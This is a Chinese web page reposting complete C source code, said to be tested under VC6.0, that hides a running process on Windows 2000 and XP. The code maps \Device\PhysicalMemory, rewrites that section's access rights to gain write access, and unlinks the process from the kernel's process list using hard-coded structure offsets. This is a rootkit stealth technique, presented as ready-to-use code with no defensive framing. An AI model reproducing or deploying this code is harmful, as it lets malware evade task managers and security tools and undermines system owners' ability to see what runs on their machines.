分享
 
 
 

在2000和xp下,隐藏进程,vc6.0测试通过

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////

//Hide Process

#include<windows.h>

#include<Accctrl.h>

#include<Aclapi.h>

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK

{

NTSTATUS Status;

ULONG Information;

} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L

#define OBJ_PERMANENT 0x00000010L

#define OBJ_EXCLUSIVE 0x00000020L

#define OBJ_CASE_INSENSITIVE 0x00000040L

#define OBJ_OPENIF 0x00000080L

#define OBJ_OPENLINK 0x00000100L

#define OBJ_KERNEL_HANDLE 0x00000200L

#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES

{

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(

OUT PHANDLE SectionHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes

);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(

IN OUT PUNICODE_STRING DestinationString,

IN PCWSTR SourceString

);

RTLINITUNICODESTRING RtlInitUnicodeString;

ZWOPENSECTION ZwOpenSection;

HMODULE g_hNtDLL = NULL;

PVOID g_pMapPhysicalMemory = NULL;

HANDLE g_hMPM = NULL;

OSVERSIONINFO g_osvi;

//---------------------------------------------------------------------------

BOOL InitNTDLL()

{

g_hNtDLL = LoadLibrary("ntdll.dll");

if (NULL == g_hNtDLL)

return FALSE;

RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");

ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

return TRUE;

}

//---------------------------------------------------------------------------

VOID CloseNTDLL()

{

if(NULL != g_hNtDLL)

FreeLibrary(g_hNtDLL);

g_hNtDLL = NULL;

}

//---------------------------------------------------------------------------

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)

{

PACL pDacl = NULL;

PSECURITY_DESCRIPTOR pSD = NULL;

PACL pNewDacl = NULL;

DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

if(ERROR_SUCCESS != dwRes)

{

if(pSD)

LocalFree(pSD);

if(pNewDacl)

LocalFree(pNewDacl);

}

EXPLICIT_ACCESS ea;

RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

ea.grfAccessPermissions = SECTION_MAP_WRITE;

ea.grfAccessMode = GRANT_ACCESS;

ea.grfInheritance= NO_INHERITANCE;

ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

ea.Trustee.ptstrName = "CURRENT_USER";

dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);

if(ERROR_SUCCESS != dwRes)

{

if(pSD)

LocalFree(pSD);

if(pNewDacl)

LocalFree(pNewDacl);

}

dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);

if(ERROR_SUCCESS != dwRes)

{

if(pSD)

LocalFree(pSD);

if(pNewDacl)

LocalFree(pNewDacl);

}

}

//---------------------------------------------------------------------------

HANDLE OpenPhysicalMemory()

{

NTSTATUS status;

UNICODE_STRING physmemString;

OBJECT_ATTRIBUTES attributes;

ULONG PhyDirectory;

g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx (&g_osvi);

if (5 != g_osvi.dwMajorVersion)

return NULL;

switch(g_osvi.dwMinorVersion)

{

case 0:

PhyDirectory = 0x30000;

break; //2k

case 1:

PhyDirectory = 0x39000;

break; //xp

default:

return NULL;

}

RtlInitUnicodeString(&physmemString, L"\Device\PhysicalMemory");

attributes.Length = sizeof(OBJECT_ATTRIBUTES);

attributes.RootDirectory = NULL;

attributes.ObjectName = &physmemString;

attributes.Attributes = 0;

attributes.SecurityDescriptor = NULL;

attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

if(status == STATUS_ACCESS_DENIED)

{

status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);

SetPhyscialMemorySectionCanBeWrited(g_hMPM);

CloseHandle(g_hMPM);

status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

}

if(!NT_SUCCESS(status))

return NULL;

g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

0x1000);

if( g_pMapPhysicalMemory == NULL )

return NULL;

return g_hMPM;

}

//---------------------------------------------------------------------------

PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)

{

ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;

PGDE = BaseAddress[VAddr>>22];

if (0 == (PGDE&1))

return 0;

ULONG tmp = PGDE & 0x00000080;

if (0 != tmp)

{

PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);

}

else

{

PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);

PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];

if (0 == (PTE&1))

return 0;

PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);

UnmapViewOfFile((PVOID)PGDE);

}

return (PVOID)PAddr;

}

//---------------------------------------------------------------------------

ULONG GetData(PVOID addr)

{

ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);

PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &

0xfffff000, 0x1000);

if (0 == tmp)

return 0;

ULONG ret = tmp[(phys & 0xFFF)>>2];

UnmapViewOfFile(tmp);

return ret;

}

//---------------------------------------------------------------------------

BOOL SetData(PVOID addr,ULONG data)

{

ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);

PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

if (0 == tmp)

return FALSE;

tmp[(phys & 0xFFF)>>2] = data;

UnmapViewOfFile(tmp);

return TRUE;

}

//---------------------------------------------------------------------------

long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)

{

ExitProcess(0);

return 1 ;

}

//---------------------------------------------------------------------------

BOOL YHideProcess()

{

// SetUnhandledExceptionFilter(exeception);

if (FALSE == InitNTDLL())

return FALSE;

if (0 == OpenPhysicalMemory())

return FALSE;

ULONG thread = GetData((PVOID)0xFFDFF124); //kteb

ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

ULONG fw, bw;

if (0 == g_osvi.dwMinorVersion)

{

fw = GetData(PVOID(process + 0xa0));

bw = GetData(PVOID(process + 0xa4));

}

if (1 == g_osvi.dwMinorVersion)

{

fw = GetData(PVOID(process + 0x88));

bw = GetData(PVOID(process + 0x8c));

}

SetData(PVOID(fw + 4), bw);

SetData(PVOID(bw), fw);

CloseHandle(g_hMPM);

CloseNTDLL();

return TRUE;

}

BOOL HideProcess()

{

static BOOL b_hide = false;

if (!b_hide)

{

b_hide = true;

YHideProcess();

return true;

}

return true;

}

/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有